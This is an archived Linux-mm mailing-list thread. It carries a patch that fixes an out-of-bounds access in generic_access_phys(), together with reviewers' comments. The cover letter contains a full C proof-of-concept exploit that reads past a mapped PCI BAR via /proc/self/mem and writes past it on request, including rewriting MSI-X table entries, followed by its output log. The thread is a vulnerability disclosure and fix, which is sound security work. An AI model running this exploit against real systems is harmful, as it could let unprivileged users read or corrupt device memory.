Linux-mm Archive on lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH 0/1] mm: fix out-of-bounds access in generic_access_phys
@ 2026-07-21 14:26 Ren Wei
  2026-07-21 14:26 ` [PATCH 1/1] mm: fix out-of-bounds access and race " Ren Wei
  0 siblings, 1 reply; 4+ messages in thread
From: Ren Wei @ 2026-07-21 14:26 UTC (permalink / raw)
  To: linux-mm
  Cc: akpm, david, ljs, liam, vbabka, rppt, surenb, mhocko, notasas,
	vega, rakukuip, enjou1224z

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in mm/memory.c. The bug is reachable by a non-root user via /proc/self/mem. We've tested it, and the proposed fix addresses the vulnerability without affecting other functionality.

We provide the detailed information about the bug below, along with a PoC to trigger it.

---- details below ----

Bug details:

The generic_access_phys() function in mm/memory.c fails to properly validate the memory access range when handling requests, such as those made via /proc/self/mem. It validates only the start address using follow_pfnmap_start() and then proceeds to ioremap the entire requested length. It does not verify if the access range stays within the VMA boundaries or if it crosses into adjacent physical/MMIO mappings.

This behavior allows an attacker to perform out-of-bounds (OOB) reads or writes by providing a length that spans across the end of the current VMA, leading to unauthorized access to adjacent memory regions.

The fix involves iterating through the access request in page-sized chunks. For each chunk, we verify the validity of the current PFNMAP entry, map only the necessary page, perform the I/O operation, and immediately unmap it. This ensures the access is strictly bound to authorized memory regions.

Reproducer:

gcc -O2 -static -o poc poc.c
unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#define _FILE_OFFSET_BITS 64

#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define PAGE_SZ 4096U
#define DEFAULT_BASE "/sys/bus/pci/devices/0000:00:02.0/resource2"
#define DEFAULT_NEXT "/sys/bus/pci/devices/0000:00:03.0/resource1"

struct config {
	const char *base_path;
	const char *next_path;
	size_t tail;
	size_t cmp_len;
	bool do_write;
	bool keep_corruption;
	bool rewrite_msix_data;
	uint32_t msix_data;
	bool rewrite_msix_addr_low;
	bool rewrite_msix_addr_high;
	uint32_t msix_addr_low;
	uint32_t msix_addr_high;
};

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [--base PATH] [--next PATH] [--tail N] [--cmp-len N] [--write] [--keep-corruption]\n"
		"          [--rewrite-msix-data HEX] [--rewrite-msix-addr-low HEX]\n"
		"          [--rewrite-msix-addr-high HEX]\n"
		"\n"
		"Default target maps QEMU's 4 KiB VGA BAR (00:02.0 resource2) and\n"
		"uses /proc/self/mem to read or write past that VMA into the adjacent\n"
		"virtio-net MSI-X BAR page (00:03.0 resource1).\n",
		prog);
}

static void die_perror(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static size_t parse_size(const char *arg, const char *name)
{
	char *end = NULL;
	unsigned long long value;

	errno = 0;
	value = strtoull(arg, &end, 0);
	if (errno || !end || *end) {
		fprintf(stderr, "invalid %s: %s\n", name, arg);
		exit(EXIT_FAILURE);
	}
	if (value == 0 || value > PAGE_SZ) {
		fprintf(stderr, "%s must be in range 1..%u\n", name, PAGE_SZ);
		exit(EXIT_FAILURE);
	}
	return (size_t)value;
}

static uint32_t parse_u32(const char *arg, const char *name)
{
	char *end = NULL;
	unsigned long long value;

	errno = 0;
	value = strtoull(arg, &end, 0);
	if (errno || !end || *end || value > UINT32_MAX) {
		fprintf(stderr, "invalid %s: %s\n", name, arg);
		exit(EXIT_FAILURE);
	}
	return (uint32_t)value;
}

static void parse_args(int argc, char **argv, struct config *cfg)
{
	int i;

	*cfg = (struct config) {
		.base_path = DEFAULT_BASE,
		.next_path = DEFAULT_NEXT,
		.tail = 16,
		.cmp_len = 64,
		.do_write = false,
		.keep_corruption = false,
		.rewrite_msix_data = false,
		.msix_data = 0,
		.rewrite_msix_addr_low = false,
		.rewrite_msix_addr_high = false,
		.msix_addr_low = 0,
		.msix_addr_high = 0,
	};

	for (i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "--base") && i + 1 < argc) {
			cfg->base_path = argv[++i];
		} else if (!strcmp(argv[i], "--next") && i + 1 < argc) {
			cfg->next_path = argv[++i];
		} else if (!strcmp(argv[i], "--tail") && i + 1 < argc) {
			cfg->tail = parse_size(argv[++i], "tail");
		} else if (!strcmp(argv[i], "--cmp-len") && i + 1 < argc) {
			cfg->cmp_len = parse_size(argv[++i], "cmp-len");
		} else if (!strcmp(argv[i], "--write")) {
			cfg->do_write = true;
		} else if (!strcmp(argv[i], "--keep-corruption")) {
			cfg->keep_corruption = true;
		} else if (!strcmp(argv[i], "--rewrite-msix-data") && i + 1 < argc) {
			cfg->do_write = true;
			cfg->rewrite_msix_data = true;
			cfg->msix_data = parse_u32(argv[++i], "rewrite-msix-data");
		} else if (!strcmp(argv[i], "--rewrite-msix-addr-low") && i + 1 < argc) {
			cfg->do_write = true;
			cfg->rewrite_msix_addr_low = true;
			cfg->msix_addr_low = parse_u32(argv[++i], "rewrite-msix-addr-low");
		} else if (!strcmp(argv[i], "--rewrite-msix-addr-high") && i + 1 < argc) {
			cfg->do_write = true;
			cfg->rewrite_msix_addr_high = true;
			cfg->msix_addr_high = parse_u32(argv[++i], "rewrite-msix-addr-high");
		} else {
			usage(argv[0]);
			exit(EXIT_FAILURE);
		}
	}

	if (cfg->tail + cfg->cmp_len > PAGE_SZ) {
		fprintf(stderr, "tail + cmp-len must fit within a single 4 KiB access\n");
		exit(EXIT_FAILURE);
	}
}

static int open_rw(const char *path)
{
	int fd = open(path, O_RDWR | O_SYNC);

	if (fd < 0)
		die_perror(path);
	return fd;
}

static void *map_page(int fd, off_t offset, const char *name)
{
	void *map;

	map = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset);
	if (map == MAP_FAILED)
		die_perror(name);
	return map;
}

static void hexdump(const char *label, const unsigned char *buf, size_t len)
{
	size_t i;

	printf("%s (%zu bytes):", label, len);
	for (i = 0; i < len; i++) {
		if (!(i % 16))
			printf("\n  %04zx:", i);
		printf(" %02x", buf[i]);
	}
	printf("\n");
}

static ssize_t checked_pread(int fd, void *buf, size_t len, off_t off, const char *what)
{
	ssize_t ret = pread(fd, buf, len, off);

	if (ret < 0)
		die_perror(what);
	return ret;
}

static ssize_t checked_pwrite(int fd, const void *buf, size_t len, off_t off, const char *what)
{
	ssize_t ret = pwrite(fd, buf, len, off);

	if (ret < 0)
		die_perror(what);
	return ret;
}

int main(int argc, char **argv)
{
	struct config cfg;
	unsigned char *base_map;
	unsigned char *next_map;
	unsigned char *buf;
	unsigned char *base_tail;
	unsigned char *next_bytes;
	unsigned char *payload;
	unsigned char *saved_next;
	size_t total_len;
	size_t i;
	int base_fd;
	int next_fd;
	int mem_fd;
	ssize_t ret;
	off_t mem_off;
	int rc = EXIT_FAILURE;

	parse_args(argc, argv, &cfg);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	total_len = cfg.tail + cfg.cmp_len;
	base_fd = open_rw(cfg.base_path);
	next_fd = open_rw(cfg.next_path);
	mem_fd = open("/proc/self/mem", O_RDWR);
	if (mem_fd < 0)
		die_perror("/proc/self/mem");

	base_map = map_page(base_fd, 0, cfg.base_path);
	next_map = map_page(next_fd, 0, cfg.next_path);
	buf = calloc(1, total_len);
	base_tail = calloc(1, cfg.tail);
	next_bytes = calloc(1, cfg.cmp_len);
	payload = calloc(1, total_len);
	saved_next = calloc(1, cfg.cmp_len);
	if (!buf || !base_tail || !next_bytes || !payload || !saved_next)
		die_perror("calloc");

	mem_off = (off_t)(uintptr_t)(base_map + PAGE_SZ - cfg.tail);
	printf("base mapping: %s -> %p\n", cfg.base_path, base_map);
	printf("next mapping: %s -> %p\n", cfg.next_path, next_map);
	printf("proc-self-mem offset: 0x%llx\n", (unsigned long long)mem_off);
	printf("request: start at base+0x%zx, read %zu bytes\n",
	       PAGE_SZ - cfg.tail, total_len);

	ret = checked_pread(mem_fd, buf, total_len, mem_off, "pread(/proc/self/mem)");
	printf("pread(/proc/self/mem) returned %zd bytes\n", ret);
	if ((size_t)ret != total_len) {
		fprintf(stderr,
			"short read: expected %zu bytes but got %zd\n",
			total_len, ret);
		goto out;
	}

	ret = checked_pread(mem_fd, base_tail, cfg.tail, mem_off,
			    "pread(base tail via /proc/self/mem)");
	if ((size_t)ret != cfg.tail) {
		fprintf(stderr, "short base-tail read: expected %zu bytes but got %zd\n",
			cfg.tail, ret);
		goto out;
	}

	ret = checked_pread(mem_fd, next_bytes, cfg.cmp_len,
			    (off_t)(uintptr_t)next_map,
			    "pread(next mapping via /proc/self/mem)");
	if ((size_t)ret != cfg.cmp_len) {
		fprintf(stderr, "short next-page read: expected %zu bytes but got %zd\n",
			cfg.cmp_len, ret);
		goto out;
	}

	hexdump("base tail via direct /proc/self/mem read", base_tail, cfg.tail);
	hexdump("next page via direct /proc/self/mem read", next_bytes, cfg.cmp_len);
	hexdump("cross-boundary bytes via /proc/self/mem", buf, total_len);

	if (memcmp(buf, base_tail, cfg.tail)) {
		fprintf(stderr, "base tail mismatch\n");
		goto out;
	}

	if (memcmp(buf + cfg.tail, next_bytes, cfg.cmp_len)) {
		fprintf(stderr, "next page mismatch\n");
		goto out;
	}

	printf("OOB read confirmed: bytes past the 4 KiB VMA boundary came from %s\n",
	       cfg.next_path);

	if (!cfg.do_write) {
		rc = EXIT_SUCCESS;
		goto out;
	}

	memcpy(saved_next, next_bytes, cfg.cmp_len);
	memcpy(payload, base_tail, cfg.tail);
	if (cfg.rewrite_msix_data) {
		memcpy(payload + cfg.tail, next_bytes, cfg.cmp_len);
		for (i = 0; i + 16 <= cfg.cmp_len; i += 16) {
			uint32_t *addr_low = (uint32_t *)(payload + cfg.tail + i + 0);
			uint32_t *addr_high = (uint32_t *)(payload + cfg.tail + i + 4);
			uint32_t *data = (uint32_t *)(payload + cfg.tail + i + 8);
			uint32_t *vector_ctl = (uint32_t *)(payload + cfg.tail + i + 12);

			if (cfg.rewrite_msix_addr_low)
				*addr_low = cfg.msix_addr_low;
			if (cfg.rewrite_msix_addr_high)
				*addr_high = cfg.msix_addr_high;
			if (cfg.rewrite_msix_data)
				*data = cfg.msix_data;
			*vector_ctl = 0;
		}
	} else {
		for (i = 0; i < cfg.cmp_len; i++)
			payload[cfg.tail + i] = (unsigned char)(0xa0U + (i & 0x1f));
	}

	ret = checked_pwrite(mem_fd, payload, total_len, mem_off,
			     "pwrite(/proc/self/mem)");
	printf("pwrite(/proc/self/mem) returned %zd bytes\n", ret);
	if ((size_t)ret != total_len) {
		fprintf(stderr,
			"short write: expected %zu bytes but got %zd\n",
			total_len, ret);
		goto out;
	}

	ret = checked_pread(mem_fd, next_bytes, cfg.cmp_len,
			    (off_t)(uintptr_t)next_map,
			    "verify next mapping after OOB write");
	if ((size_t)ret != cfg.cmp_len) {
		fprintf(stderr, "short next-page verify read: expected %zu bytes but got %zd\n",
			cfg.cmp_len, ret);
		goto out;
	}

	if (memcmp(next_bytes, payload + cfg.tail, cfg.cmp_len)) {
		fprintf(stderr,
			"OOB write verification failed: next mapping did not change\n");
		goto out;
	}

	hexdump("next page after OOB write", next_bytes, cfg.cmp_len);
	printf("OOB write confirmed: /proc/self/mem modified %s outside the mapped VMA\n",
	       cfg.next_path);

	if (!cfg.keep_corruption) {
		memcpy(payload, base_tail, cfg.tail);
		memcpy(payload + cfg.tail, saved_next, cfg.cmp_len);
		ret = checked_pwrite(mem_fd, payload, total_len, mem_off,
				     "restore pwrite(/proc/self/mem)");
		if ((size_t)ret != total_len) {
			fprintf(stderr, "failed to restore target bytes cleanly\n");
			goto out;
		}
		printf("restored the overwritten target bytes\n");
	}

	rc = EXIT_SUCCESS;
out:
	free(saved_next);
	free(payload);
	free(next_bytes);
	free(base_tail);
	free(buf);
	munmap(next_map, PAGE_SZ);
	munmap(base_map, PAGE_SZ);
	close(mem_fd);
	close(next_fd);
	close(base_fd);
	return rc;
}
------END poc.c--------

----BEGIN crash log----
root@syzkaller:/mnt/home_host/new_poc# ./poc
base mapping: /sys/bus/pci/devices/0000:00:02.0/resource2 -> 0x7f776a982000
next mapping: /sys/bus/pci/devices/0000:00:03.0/resource1 -> 0x7f776a981000
proc-self-mem offset: 0x7f776a982ff0
request: start at base+0xff0, read 80 bytes
[ 1503.056194][ T9289] resource: resource sanity check: requesting [mem 0x00000]
[ 1503.057925][ T9289] caller generic_access_phys+0x12b/0x4c0 mapping multiple s
pread(/proc/self/mem) returned 80 bytes
base tail via direct /proc/self/mem read (16 bytes):
  0000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
next page via direct /proc/self/mem read (64 bytes):
  0000: 00 00 e0 fe 00 00 00 00 24 00 00 00 00 00 00 00
  0010: 00 10 e0 fe 00 00 00 00 25 00 00 00 00 00 00 00
  0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
cross-boundary bytes via /proc/self/mem (80 bytes):
  0000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
  0010: 00 00 e0 fe 00 00 00 00 24 00 00 00 00 00 00 00
  0020: 00 10 e0 fe 00 00 00 00 25 00 00 00 00 00 00 00
  0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
OOB read confirmed: bytes past the 4 KiB VMA boundary came from /sys/bus/pci/de1
-----END crash log-----

Best regards,

Luxiao Xu

Luxiao Xu (1):
  mm: fix out-of-bounds access and race in generic_access_phys

 mm/memory.c | 79 ++++++++++++++++++++++++++++++-----------------------
 1 file changed, 45 insertions(+), 34 deletions(-)

-- 
2.43.0



^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH 1/1] mm: fix out-of-bounds access and race in generic_access_phys
  2026-07-21 14:26 [PATCH 0/1] mm: fix out-of-bounds access in generic_access_phys Ren Wei
@ 2026-07-21 14:26 ` Ren Wei
  2026-07-21 14:49   ` David Hildenbrand (Arm)
  2026-07-21 21:12   ` Andrew Morton
  0 siblings, 2 replies; 4+ messages in thread
From: Ren Wei @ 2026-07-21 14:26 UTC (permalink / raw)
  To: linux-mm
  Cc: akpm, david, ljs, liam, vbabka, rppt, surenb, mhocko, notasas,
	vega, rakukuip, enjou1224z

From: Luxiao Xu <rakukuip@gmail.com>

generic_access_phys() improperly validates the memory access range. It
only validates the start address using follow_pfnmap_start() and then
uses ioremap_prot() to map the entire requested length. This fails to
verify if the access range stays within the VMA boundaries or if it
crosses into adjacent physical/MMIO mappings, allowing out-of-bounds
read or write access.

Furthermore, the previous implementation failed to handle partial
progress semantics required by __access_remote_vm() and lacked
necessary concurrency checks (retry logic) to prevent the use of
stale mappings after releasing the PFNMAP lock.

Fix this by:
- Processing memory access in page-sized chunks, ensuring every page
  is validated within its VMA boundaries.
- Introducing a retry mechanism to re-validate the PFN/protection
  after mapping, ensuring safety against concurrent page table
  modifications.
- Returning the total number of bytes successfully copied to satisfy
  the partial progress semantics of the access_process_vm
  infrastructure.

Fixes: 9cb12d7b4cca ("mm/memory.c: actually remap enough memory")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 mm/memory.c | 79 ++++++++++++++++++++++++++++++-----------------------
 1 file changed, 45 insertions(+), 34 deletions(-)

diff --git a/mm/memory.c b/mm/memory.c
index ff338c2abe92..b2b1960dfdc4 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -6966,50 +6966,61 @@ EXPORT_SYMBOL_GPL(follow_pfnmap_end);
 int generic_access_phys(struct vm_area_struct *vma, unsigned long addr,
 			void *buf, int len, int write)
 {
-	resource_size_t phys_addr;
-	pgprot_t prot = __pgprot(0);
-	void __iomem *maddr;
-	int offset = offset_in_page(addr);
-	int ret = -EINVAL;
-	bool writable;
-	struct follow_pfnmap_args args = { .vma = vma, .address = addr };
+	unsigned long offset = offset_in_page(addr);
+	int total_copied = 0;
+
+	while (len > 0) {
+		unsigned long chunk_len = min(len, (int)(PAGE_SIZE - offset));
+		resource_size_t phys_addr;
+		pgprot_t prot;
+		bool writable;
+		void __iomem *maddr;
+		struct follow_pfnmap_args args = { .vma = vma, .address = addr };
 
 retry:
-	if (follow_pfnmap_start(&args))
-		return -EINVAL;
-	prot = args.pgprot;
-	phys_addr = (resource_size_t)args.pfn << PAGE_SHIFT;
-	writable = args.writable;
-	follow_pfnmap_end(&args);
+		if (follow_pfnmap_start(&args))
+			return total_copied ? total_copied : -EFAULT;
 
-	if ((write & FOLL_WRITE) && !writable)
-		return -EINVAL;
+		phys_addr = (resource_size_t)args.pfn << PAGE_SHIFT;
+		prot = args.pgprot;
+		writable = args.writable;
+		follow_pfnmap_end(&args);
 
-	maddr = ioremap_prot(phys_addr, PAGE_ALIGN(len + offset), prot);
-	if (!maddr)
-		return -ENOMEM;
+		if ((write & FOLL_WRITE) && !writable)
+			return total_copied ? total_copied : -EACCES;
+
+		maddr = ioremap_prot(phys_addr, PAGE_SIZE, prot);
+		if (!maddr)
+			return total_copied ? total_copied : -ENOMEM;
+
+		if (follow_pfnmap_start(&args)) {
+			iounmap(maddr);
+			return total_copied ? total_copied : -EFAULT;
+		}
+
+		if ((pgprot_val(prot) != pgprot_val(args.pgprot)) ||
+		    (phys_addr != (args.pfn << PAGE_SHIFT)) ||
+		    (writable != args.writable)) {
+			follow_pfnmap_end(&args);
+			iounmap(maddr);
+			goto retry;
+		}
 
-	if (follow_pfnmap_start(&args))
-		goto out_unmap;
+		if (write)
+			memcpy_toio(maddr + offset, buf + total_copied, chunk_len);
+		else
+			memcpy_fromio(buf + total_copied, maddr + offset, chunk_len);
 
-	if ((pgprot_val(prot) != pgprot_val(args.pgprot)) ||
-	    (phys_addr != (args.pfn << PAGE_SHIFT)) ||
-	    (writable != args.writable)) {
 		follow_pfnmap_end(&args);
 		iounmap(maddr);
-		goto retry;
-	}
 
-	if (write)
-		memcpy_toio(maddr + offset, buf, len);
-	else
-		memcpy_fromio(buf, maddr + offset, len);
-	ret = len;
-	follow_pfnmap_end(&args);
-out_unmap:
-	iounmap(maddr);
+		addr += chunk_len;
+		total_copied += chunk_len;
+		len -= chunk_len;
+		offset = 0;
+	}
 
-	return ret;
+	return total_copied;
 }
 EXPORT_SYMBOL_GPL(generic_access_phys);
 #endif
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH 1/1] mm: fix out-of-bounds access and race in generic_access_phys
  2026-07-21 14:26 ` [PATCH 1/1] mm: fix out-of-bounds access and race " Ren Wei
@ 2026-07-21 14:49   ` David Hildenbrand (Arm)
  2026-07-21 21:12   ` Andrew Morton
  1 sibling, 0 replies; 4+ messages in thread
From: David Hildenbrand (Arm) @ 2026-07-21 14:49 UTC (permalink / raw)
  To: Ren Wei, linux-mm
  Cc: akpm, ljs, liam, vbabka, rppt, surenb, mhocko, notasas, vega,
	rakukuip

On 7/21/26 16:26, Ren Wei wrote:
> From: Luxiao Xu <rakukuip@gmail.com>
> 
> generic_access_phys() improperly validates the memory access range. It
> only validates the start address using follow_pfnmap_start() and then
> uses ioremap_prot() to map the entire requested length. This fails to
> verify if the access range stays within the VMA boundaries or if it
> crosses into adjacent physical/MMIO mappings, allowing out-of-bounds
> read or write access.
> 
> Furthermore, the previous implementation failed to handle partial
> progress semantics required by __access_remote_vm() and lacked
> necessary concurrency checks (retry logic) to prevent the use of
> stale mappings after releasing the PFNMAP lock.
> 
> Fix this by:
> - Processing memory access in page-sized chunks, ensuring every page
>   is validated within its VMA boundaries.
> - Introducing a retry mechanism to re-validate the PFN/protection
>   after mapping, ensuring safety against concurrent page table
>   modifications.
> - Returning the total number of bytes successfully copied to satisfy
>   the partial progress semantics of the access_process_vm
>   infrastructure.
> 
> Fixes: 9cb12d7b4cca ("mm/memory.c: actually remap enough memory")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
> Signed-off-by: Ren Wei <enjou1224z@gmail.com>


Hm, I wonder if it's responsibility of the callers to make sure that [addr,
addr+len) is actually within VMA bounds. Just like it's the callers
responsibility to ensure that "addr" falls within the VMA.

That makes the ->access() implementation harder to get wrong.

-- 
Cheers,

David


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH 1/1] mm: fix out-of-bounds access and race in generic_access_phys
  2026-07-21 14:26 ` [PATCH 1/1] mm: fix out-of-bounds access and race " Ren Wei
  2026-07-21 14:49   ` David Hildenbrand (Arm)
@ 2026-07-21 21:12   ` Andrew Morton
  1 sibling, 0 replies; 4+ messages in thread
From: Andrew Morton @ 2026-07-21 21:12 UTC (permalink / raw)
  To: Ren Wei
  Cc: linux-mm, david, ljs, liam, vbabka, rppt, surenb, mhocko, notasas,
	vega, rakukuip

On Tue, 21 Jul 2026 22:26:04 +0800 Ren Wei <enjou1224z@gmail.com> wrote:

> From: Luxiao Xu <rakukuip@gmail.com>
> 
> generic_access_phys() improperly validates the memory access range. It
> only validates the start address using follow_pfnmap_start() and then
> uses ioremap_prot() to map the entire requested length. This fails to
> verify if the access range stays within the VMA boundaries or if it
> crosses into adjacent physical/MMIO mappings, allowing out-of-bounds
> read or write access.
> 
> Furthermore, the previous implementation failed to handle partial
> progress semantics required by __access_remote_vm() and lacked
> necessary concurrency checks (retry logic) to prevent the use of
> stale mappings after releasing the PFNMAP lock.
> 
> Fix this by:
> - Processing memory access in page-sized chunks, ensuring every page
>   is validated within its VMA boundaries.
> - Introducing a retry mechanism to re-validate the PFN/protection
>   after mapping, ensuring safety against concurrent page table
>   modifications.
> - Returning the total number of bytes successfully copied to satisfy
>   the partial progress semantics of the access_process_vm
>   infrastructure.

Thanks.

> --- a/mm/memory.c
> +++ b/mm/memory.c
> @@ -6966,50 +6966,61 @@ EXPORT_SYMBOL_GPL(follow_pfnmap_end);
>
> ...
>
> +		if ((pgprot_val(prot) != pgprot_val(args.pgprot)) ||
> +		    (phys_addr != (args.pfn << PAGE_SHIFT)) ||

AI review
(https://sashiko.dev/#/patchset/f618e2f57ad0086a8d7a95cb17dcf5a1f0cf0e45.1784428532.git.rakukuip@gmail.com)
indicates that this might be missing a (resource_size_t) cast.

> +		    (writable != args.writable)) {
> +			follow_pfnmap_end(&args);
> +			iounmap(maddr);
> +			goto retry;
> +		}



^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-07-21 21:12 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-21 14:26 [PATCH 0/1] mm: fix out-of-bounds access in generic_access_phys Ren Wei
2026-07-21 14:26 ` [PATCH 1/1] mm: fix out-of-bounds access and race " Ren Wei
2026-07-21 14:49   ` David Hildenbrand (Arm)
2026-07-21 21:12   ` Andrew Morton

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox